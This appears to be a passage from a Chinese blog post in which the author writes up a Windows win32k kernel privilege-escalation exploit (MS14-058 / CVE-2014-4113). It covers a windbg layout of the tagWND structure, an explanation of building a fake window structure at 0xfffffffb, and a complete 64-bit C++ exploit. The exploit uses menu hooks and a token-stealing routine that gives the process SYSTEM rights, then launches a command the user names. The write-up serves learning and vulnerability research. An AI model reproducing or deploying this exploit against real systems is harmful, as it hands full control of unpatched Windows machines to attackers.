+0x01c bWS_EX_CONTEXTHELP : Pos 10, 1 Bit
+0x01c bMakeVisibleWhenUnghosted : Pos 11, 1 Bit
+0x01c bWS_EX_RIGHT : Pos 12, 1 Bit
+0x01c bWS_EX_RTLREADING : Pos 13, 1 Bit
+0x01c bWS_EX_LEFTSCROLLBAR : Pos 14, 1 Bit
+0x01c bUnused2 : Pos 15, 1 Bit
+0x01c bWS_EX_CONTROLPARENT : Pos 16, 1 Bit
+0x01c bWS_EX_STATICEDGE : Pos 17, 1 Bit
+0x01c bWS_EX_APPWINDOW : Pos 18, 1 Bit
+0x01c bWS_EX_LAYERED : Pos 19, 1 Bit
+0x01c bWS_EX_NOINHERITLAYOUT : Pos 20, 1 Bit
+0x01c bUnused3 : Pos 21, 1 Bit
+0x01c bWS_EX_LAYOUTRTL : Pos 22, 1 Bit
+0x01c bWS_EX_NOPADDEDBORDER : Pos 23, 1 Bit
+0x01c bUnused4 : Pos 24, 1 Bit
+0x01c bWS_EX_COMPOSITED : Pos 25, 1 Bit
+0x01c bUIStateActive : Pos 26, 1 Bit
+0x01c bWS_EX_NOACTIVATE : Pos 27, 1 Bit
+0x01c bWS_EX_COMPOSITEDCompositing : Pos 28, 1 Bit
+0x01c bRedirected : Pos 29, 1 Bit
+0x01c bUIStateKbdAccelHidden : Pos 30, 1 Bit
+0x01c bUIStateFocusRectHidden : Pos 31, 1 Bit
+0x020 style : Uint4B
+0x020 bReserved1 : Pos 0, 16 Bits
+0x020 bWS_MAXIMIZEBOX : Pos 16, 1 Bit
+0x020 bReserved2 : Pos 0, 16 Bits
+0x020 bWS_TABSTOP : Pos 16, 1 Bit
+0x020 bReserved3 : Pos 0, 16 Bits
+0x020 bUnused5 : Pos 16, 1 Bit
+0x020 bWS_MINIMIZEBOX : Pos 17, 1 Bit
+0x020 bReserved4 : Pos 0, 16 Bits
+0x020 bUnused6 : Pos 16, 1 Bit
+0x020 bWS_GROUP : Pos 17, 1 Bit
+0x020 bReserved5 : Pos 0, 16 Bits
+0x020 bUnused7 : Pos 16, 2 Bits
+0x020 bWS_THICKFRAME : Pos 18, 1 Bit
+0x020 bReserved6 : Pos 0, 16 Bits
+0x020 bUnused8 : Pos 16, 2 Bits
+0x020 bWS_SIZEBOX : Pos 18, 1 Bit
+0x020 bReserved7 : Pos 0, 16 Bits
+0x020 bUnused9 : Pos 16, 3 Bits
+0x020 bWS_SYSMENU : Pos 19, 1 Bit
+0x020 bWS_HSCROLL : Pos 20, 1 Bit
+0x020 bWS_VSCROLL : Pos 21, 1 Bit
+0x020 bWS_DLGFRAME : Pos 22, 1 Bit
+0x020 bWS_BORDER : Pos 23, 1 Bit
+0x020 bMaximized : Pos 24, 1 Bit
+0x020 bWS_CLIPCHILDREN : Pos 25, 1 Bit
+0x020 bWS_CLIPSIBLINGS : Pos 26, 1 Bit
+0x020 bDisabled : Pos 27, 1 Bit
+0x020 bVisible : Pos 28, 1 Bit
+0x020 bMinimized : Pos 29, 1 Bit
+0x020 bWS_CHILD : Pos 30, 1 Bit
+0x020 bWS_POPUP : Pos 31, 1 Bit
+0x024 hModule : Ptr32 Void
+0x028 hMod16 : Uint2B
+0x02a fnid : Uint2B
+0x02c spwndNext : Ptr32 tagWND
+0x030 spwndPrev : Ptr32 tagWND
+0x034 spwndParent : Ptr32 tagWND
+0x038 spwndChild : Ptr32 tagWND
+0x03c spwndOwner : Ptr32 tagWND
+0x040 rcWindow : tagRECT
+0x050 rcClient : tagRECT
+0x060 lpfnWndProc : Ptr32 long
+0x064 pcls : Ptr32 tagCLS
+0x068 hrgnUpdate : Ptr32 HRGN__
+0x06c ppropList : Ptr32 tagPROPLIST
+0x070 pSBInfo : Ptr32 tagSBINFO
+0x074 spmenuSys : Ptr32 tagMENU
+0x078 spmenu : Ptr32 tagMENU
+0x07c hrgnClip : Ptr32 HRGN__
+0x080 hrgnNewFrame : Ptr32 HRGN__
+0x084 strName : _LARGE_UNICODE_STRING
+0x090 cbwndExtra : Int4B
+0x094 spwndLastActive : Ptr32 tagWND
+0x098 hImc : Ptr32 HIMC__
+0x09c dwUserData : Uint4B
+0x0a0 pActCtx : Ptr32 _ACTIVATION_CONTEXT
+0x0a4 pTransform : Ptr32 _D3DMATRIX
+0x0a8 spwndClipboardListenerNext : Ptr32 tagWND
+0x0ac ExStyle2 : Uint4B
+0x0ac bClipboardListener : Pos 0, 1 Bit
+0x0ac bLayeredInvalidate : Pos 1, 1 Bit
+0x0ac bRedirectedForPrint : Pos 2, 1 Bit
+0x0ac bLinked : Pos 3, 1 Bit
+0x0ac bLayeredForDWM : Pos 4, 1 Bit
+0x0ac bLayeredLimbo : Pos 5, 1 Bit
+0x0ac bHIGHDPI_UNAWARE_Unused : Pos 6, 1 Bit
+0x0ac bVerticallyMaximizedLeft : Pos 7, 1 Bit
+0x0ac bVerticallyMaximizedRight : Pos 8, 1 Bit
+0x0ac bHasOverlay : Pos 9, 1 Bit
+0x0ac bConsoleWindow : Pos 10, 1 Bit
+0x0ac bChildNoActivate : Pos 11, 1 Bit

这个结构的开头就是在FFFFFFFB

可以用

dt win32k!tagWND 地址

这样的方式把值附加到结构中比如这里就是

1
2
dt win32k!tagWND ffffffffb
dt win32k!_THRDESKHEAD fffffffb

下面是附加后的样子,已经被所有为0的都去除了

1
2
3
4
5
6
7
8
9
10
11
+0x000 head             : _THRDESKHEAD
+0x000 h : ????
+0x004 cLockObj : ??
+0x008 pti : 0xff52ab50 tagTHREADINFO
+0x00c rpdesk : (null)
+0x010 pSelf : (null)
......
+0x014 bServerSideWindowProc : 0y1
......
+0x060 lpfnWndProc : 0x004010f0 long +4010f0
......

0x8位置的就是Win32ThreadInfo

0x16位置需要为1

0x60位置需要为要执行的地址

因为是从fffffffb开始的所以都要-5,也就是0x3,0x11,0x5B

这里看到的时候还是有点疑问的0x11在exp中赋值的不是4吗怎么到这里变成1了

后来看了一下整明白了有点类似标志位

1
2
4			十进制
0100 二进制

需要的是在二进制的时候第几位为1

可以看到从0x14到0x18相差4字节

不过exp指定的位置是0x16所以要-2那么0x11-2=0xf

0xf始的四字节是这样的

1
2
00040000
00000000 00000100 00000000 00000000

因为大小端的原因要倒着数,1正好在18位

0x05 Win64 exp

在原来的exp中都是用伪汇编来实现的提权,且只有32位的exp

准备学着写一下64位的exp

下面总结一下区别

提权函数

为了找函数地址专门写了一篇文章

可以在这里先了解一下

那么这里就这几个步骤

  1. PsLookupProcessByProcessId找到当前进程和SYSTEM的EPROCESS结构
  2. PsReferencePrimaryToken找到当前进程和SYSTEM的token值和指针
  3. 将SYSTEM的token指针的值覆盖到当前进程的指向token的指针的位置

函数其实是很简单的

1
2
3
4
NTSTATUS PsLookupProcessByProcessId(
[in] HANDLE ProcessId,
[out] PEPROCESS *Process
);

传入一个指向PID的指针,然后EPROCESS的指针从第二个参数返回回来

1
2
3
PACCESS_TOKEN PsReferencePrimaryToken(
[in, out] PEPROCESS Process
);

传入EPROCESS结构,返回指向token的指针

下面是代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four) {
void* CurrentEPROCESS = NULL;
void* SystemEPROCESS = NULL;
PACCESS_TOKEN CurrentToken;
PACCESS_TOKEN SystemToken;
pPsLookupProcessByProcessId((HANDLE)dwMyProcessId, &CurrentEPROCESS);
pPsLookupProcessByProcessId((HANDLE)4, &SystemEPROCESS);
CurrentToken = pPsReferencePrimaryToken(CurrentEPROCESS);
SystemToken = pPsReferencePrimaryToken(SystemEPROCESS);


void* token_loc = (void *)((INT64)CurrentEPROCESS+0x208);
*(PDWORD_PTR)token_loc = (_int64)SystemToken;

return 0;
}

return -5

在第二个Hook中要返回-5,在64位中-5的二进制是fffffffffffffffb

为了构造畸形的结构,将返回值修改位long,这样内核得到的是00000000fffffffb地址

1
2
3
4
5
6
long CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
//printf("Callback two called.\n");
EndMenu();
return -5;
}

布置tagWND结构

然后在00000000fffffffb上申请内存,就可以在0000000100000000上布置win32threadinfo和bServerSideWindowProc

这里除了偏移不一样别的没什么区别,修改一下偏移就好

1
2
3
4
5
6
void* pti_loc = (void *)0x10000000B;
void* check_loc = (void *)0x100000025;
void* shellcode_loc = (void *)0x10000008B;
*(PDWORD_PTR)pti_loc = GetPTI();
*(LPBYTE)check_loc = 0x4;
*(PDWORD_PTR)shellcode_loc = (_int64)TokenStealingShellcodeWin7;

64的Win32threadinfo在TEB的0x78偏移,用汇编来表示

1
2
mov rax, gs:[0x30]
mov rax, [rax+0x78]

可以只用读段寄存器的相关函数来实现

1
2
3
4
INT64 GetPTI() {
PBYTE pTeb = (PBYTE)__readgsqword(0x30);
return (INT64)*((PINT64)(pTeb + 0x78));
}

最后是完整的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
// Test.cpp : Defines the entry point for the console application.
//

#include <stdio.h>
#include <Windows.h>

#define PTR_SIZE sizeof(UINT_PTR)
#define MN_FINDMENUWINDOWFROMPOINT 0x1EB
#define SystemModuleInformation 11

typedef NTSTATUS(NTAPI *kNtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN PVOID *BaseAddress,
IN PULONG ZeroBits,
IN PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);

typedef NTSTATUS(NTAPI *kZwQuerySystemInformation)(
_In_ DWORD SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);

typedef NTSTATUS(NTAPI *kPsLookupProcessByProcessId)(
IN HANDLE ProcessId,
OUT PVOID Process
);

typedef PACCESS_TOKEN(NTAPI *kPsReferencePrimaryToken)(
_Inout_ PVOID Process
);


typedef struct _SYSTEM_MODULE
{
HANDLE Reserved1;
PVOID Reserved2;
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
USHORT Id;
USHORT Rank;
USHORT w018;
USHORT NameOffset;
BYTE Name[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG ModulesCount;
SYSTEM_MODULE Modules[0];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef struct _FAKE_EPROCESS
{
PACCESS_TOKEN Token;
} FAKE_EPROCESS, *PFAKE_EPROCESS;

kPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL;
kPsReferencePrimaryToken pPsReferencePrimaryToken = NULL;
DWORD dwMyProcessId = 0;

long CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
//printf("Callback two called.\n");
EndMenu();
return -5;
}

LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
//printf("Callback one called.\n");
if (*(DWORD *)(lParam + PTR_SIZE * 2) == MN_FINDMENUWINDOWFROMPOINT) {
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
SetWindowLongPtrA(*(HWND *)(lParam + PTR_SIZE * 3), GWLP_WNDPROC, (ULONG_PTR)HookCallbackTwo);
}
}
return CallNextHookEx(0, code, wParam, lParam);
}


LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {

//printf("WindProc called with message=%d\n", msg);
if (msg == WM_ENTERIDLE) {
PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0);
PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0);
PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0);
//printf("PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPOST!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
}
//Just pass any other messages to the default window procedure
return DefWindowProc(hwnd, msg, wParam, lParam);
}



INT64 GetPTI() {
PBYTE pTeb = (PBYTE)__readgsqword(0x30);
return (INT64)*((PINT64)(pTeb + 0x78));
}

int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four) {
void* CurrentEPROCESS = NULL;
void* SystemEPROCESS = NULL;
PACCESS_TOKEN CurrentToken;
PACCESS_TOKEN SystemToken;
pPsLookupProcessByProcessId((HANDLE)dwMyProcessId, &CurrentEPROCESS);
pPsLookupProcessByProcessId((HANDLE)4, &SystemEPROCESS);
CurrentToken = pPsReferencePrimaryToken(CurrentEPROCESS);
SystemToken = pPsReferencePrimaryToken(SystemEPROCESS);


void* token_loc = (void *)((INT64)CurrentEPROCESS+0x208);
*(PDWORD_PTR)token_loc = (_int64)SystemToken;

return 0;
}

void main(char* argc, char* argv[])
{
char szNtName[256];
//存放Name的值
PVOID NtBase;
//存放ImageBaseAddress
HMODULE hNtdll = LoadLibraryA("ntdll");
if (hNtdll == NULL) {
printf("Failed to load ntdll");
return;
}

kNtAllocateVirtualMemory pNtAllocateVirtualMemory = (kNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
if (pNtAllocateVirtualMemory == NULL) {
printf("Failed to resolve NtAllocateVirtualMemory.\n");
return;
}

dwMyProcessId = GetCurrentProcessId();

_int64 base_address = 0x00000000fffffffb;
SIZE_T region_size = 0x1000;

NTSTATUS tmp = pNtAllocateVirtualMemory(
GetCurrentProcess(),
(LPVOID*)(&base_address),
0,
&region_size,
(MEM_RESERVE | MEM_COMMIT| MEM_TOP_DOWN),
PAGE_EXECUTE_READWRITE
);

if (tmp != (NTSTATUS)0x0) {
printf("Failed to allocate null page.\n");
return;
}


kZwQuerySystemInformation pZwQuerySystemInformation = (kZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
//从ntdll中提取出ZwQuerySystemInformation
if (pZwQuerySystemInformation == NULL)
{
printf("[-] Can not found ZwQuerySystemInformation!");
return;
}

ULONG SystemInfoBufferSize;
pZwQuerySystemInformation(SystemModuleInformation, &SystemInfoBufferSize, 0, &SystemInfoBufferSize);
if (SystemInfoBufferSize == 0)
{
printf("[-] SystemInfoBufferSize is 0!");
}
PULONG pSystemInfoBuffer = (PULONG)LocalAlloc(LMEM_ZEROINIT, SystemInfoBufferSize);
printf("[+] LocalAlloc:0x%p\n", pSystemInfoBuffer);
if (pSystemInfoBuffer == 0)
{
printf("[-] LocalAlloc is fail!");
return;
}
int ret = pZwQuerySystemInformation(SystemModuleInformation, pSystemInfoBuffer, SystemInfoBufferSize, &SystemInfoBufferSize);
if (ret)
{
printf("[-] ZwQuerySystemInformation is fail!");
return;
}

_SYSTEM_MODULE_INFORMATION* smi = (_SYSTEM_MODULE_INFORMATION *)pSystemInfoBuffer;

printf("[+] Kernel Modle found %d\n", smi->ModulesCount);

memset(szNtName, 0, 256); //内存清零
int i = 0;
while (i < smi->ModulesCount)
{
SYSTEM_MODULE* sm = (SYSTEM_MODULE *)(smi->Modules + i);

if (strstr((char*)sm->Name, ".exe") && strstr((char*)sm->Name, "nt"))
{
NtBase = sm->ImageBaseAddress;
strncpy_s(szNtName, 256, strstr((char*)sm->Name, "nt"), _TRUNCATE);
break;
}

}
HMODULE nt = LoadLibraryA(szNtName);
kPsLookupProcessByProcessId PLPBP = (kPsLookupProcessByProcessId)GetProcAddress(nt, "PsLookupProcessByProcessId");

pPsLookupProcessByProcessId = (kPsLookupProcessByProcessId)((_int64)NtBase + ((_int64)PLPBP - (_int64)nt));
printf("[+] PsLookupProcessByProcessId Address in 0x%p\n", pPsLookupProcessByProcessId);

kPsReferencePrimaryToken PRPT = (kPsReferencePrimaryToken)GetProcAddress(nt, "PsReferencePrimaryToken");

pPsReferencePrimaryToken = (kPsReferencePrimaryToken)((_int64)NtBase + ((_int64)PRPT - (_int64)nt));
printf("[+] PsReferencePrimaryToken Address in 0x%p\n", pPsReferencePrimaryToken);








void* pti_loc = (void *)0x10000000B;
void* check_loc = (void *)0x100000025;
void* shellcode_loc = (void *)0x10000008B;
*(PDWORD_PTR)pti_loc = GetPTI();
*(LPBYTE)check_loc = 0x4;
*(PDWORD_PTR)shellcode_loc = (_int64)TokenStealingShellcodeWin7;

WNDCLASSA wnd_class = { 0 };
wnd_class.lpfnWndProc = WndProc;
wnd_class.hInstance = GetModuleHandle(NULL);
wnd_class.lpszClassName = "abcde";

ATOM reg = RegisterClassA(&wnd_class);
if (reg == NULL) {
printf("Failed to register window class.\n");
return;
}


HWND main_wnd = CreateWindowA(wnd_class.lpszClassName, "", WS_OVERLAPPEDWINDOW | WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, wnd_class.hInstance, NULL);

if (main_wnd == NULL) {
printf("Failed to create window instance.\n");
return;
}

HMENU MenuOne = CreatePopupMenu();

if (MenuOne == NULL) {
printf("Failed to create popup menu one.\n");
return;
}

MENUITEMINFOA MenuOneInfo = { 0 };
MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
MenuOneInfo.fMask = MIIM_STRING;

BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);

if (!insertMenuItem) {
printf("Failed to insert popup menu one.\n");
DestroyMenu(MenuOne);
return;
}

HMENU MenuTwo = CreatePopupMenu();

if (MenuTwo == NULL) {
printf("Failed to create menu two.\n");
DestroyMenu(MenuOne);
return;
}

MENUITEMINFOA MenuTwoInfo = { 0 };
MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
MenuTwoInfo.hSubMenu = MenuOne;
MenuTwoInfo.dwTypeData = "";
MenuTwoInfo.cch = 1;
insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);

if (!insertMenuItem) {
printf("Failed to insert second pop-up menu.\n");
DestroyMenu(MenuOne);
DestroyMenu(MenuTwo);
return;
}


HHOOK setWindowsHook = SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId());

if (setWindowsHook == NULL) {
printf("Failed to insert call back one.\n");
DestroyMenu(MenuOne);
DestroyMenu(MenuTwo);
return;
}


TrackPopupMenu(
MenuTwo, //Handle to the menu we want to display, for us its the submenu we just created.
0, //Options on how the menu is aligned, what clicks are allowed etc, we don't care.
0, //Horizontal position - left hand side
0, //Vertical position - Top edge
0, //Reserved field, has to be 0
main_wnd, //Handle to the Window which owns the menu
NULL //This value is always ignored...
);

DestroyWindow(main_wnd);

STARTUPINFOA si;
PROCESS_INFORMATION pi;

if (argv[1])
{
si = { 0 };
pi = { 0 };
si.cb = sizeof(si);
si.dwFlags = 1;
si.wShowWindow = 0;
CreateProcessA(NULL, argv[1], NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
//避免程序结束太快返回信息出现在cmd的下一行
WaitForSingleObject(pi.hProcess, 0x10000);
}

}

这里为了方便用了直接创建了进程

总结

不知道说啥了有点呆滞了

这篇文章真的写了很久,因为有时候太复杂了真的想中间停掉可是一想到这是写的第一个内核提权的漏洞还是再写写吧

我也知道写的还不是很详细,不是重点用到的函数就没写,确实技术力到这里了,以后再慢慢补了只能

基础有点架空很多知识都是用到了再补的,中间还切出去学了点别的,虽然呆滞了可是真的学到了不少,因为基础有点少也导致走了不少弯路,准备之后再系统的看看驱动,打一下靶场啥的

不说了写的时候说写完奖励自己一个千恋万花,去下单了要,打游戏去了下班了

不过最后要说一下要是师傅们发现文章中有错误的可以指出来,马上就改正,先谢谢各位师傅了

参考

几个用到的api:
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-pslookupprocessbyprocessid
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-psreferenceprimarytoken
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory

Windows消息基址和内存地址相关文章:
https://blog.csdn.net/wang010366/article/details/52730052
https://blog.csdn.net/qq_45021180/article/details/97949267

MS14-058分析文章:
https://bbs.pediy.com/thread-198194.htm
https://labs.f-secure.com/assets/BlogFiles/mwri-lab-exploiting-cve-2014-4113.pdf

KeUserModeCallback执行流程:
https://cloud.tencent.com/developer/article/1600862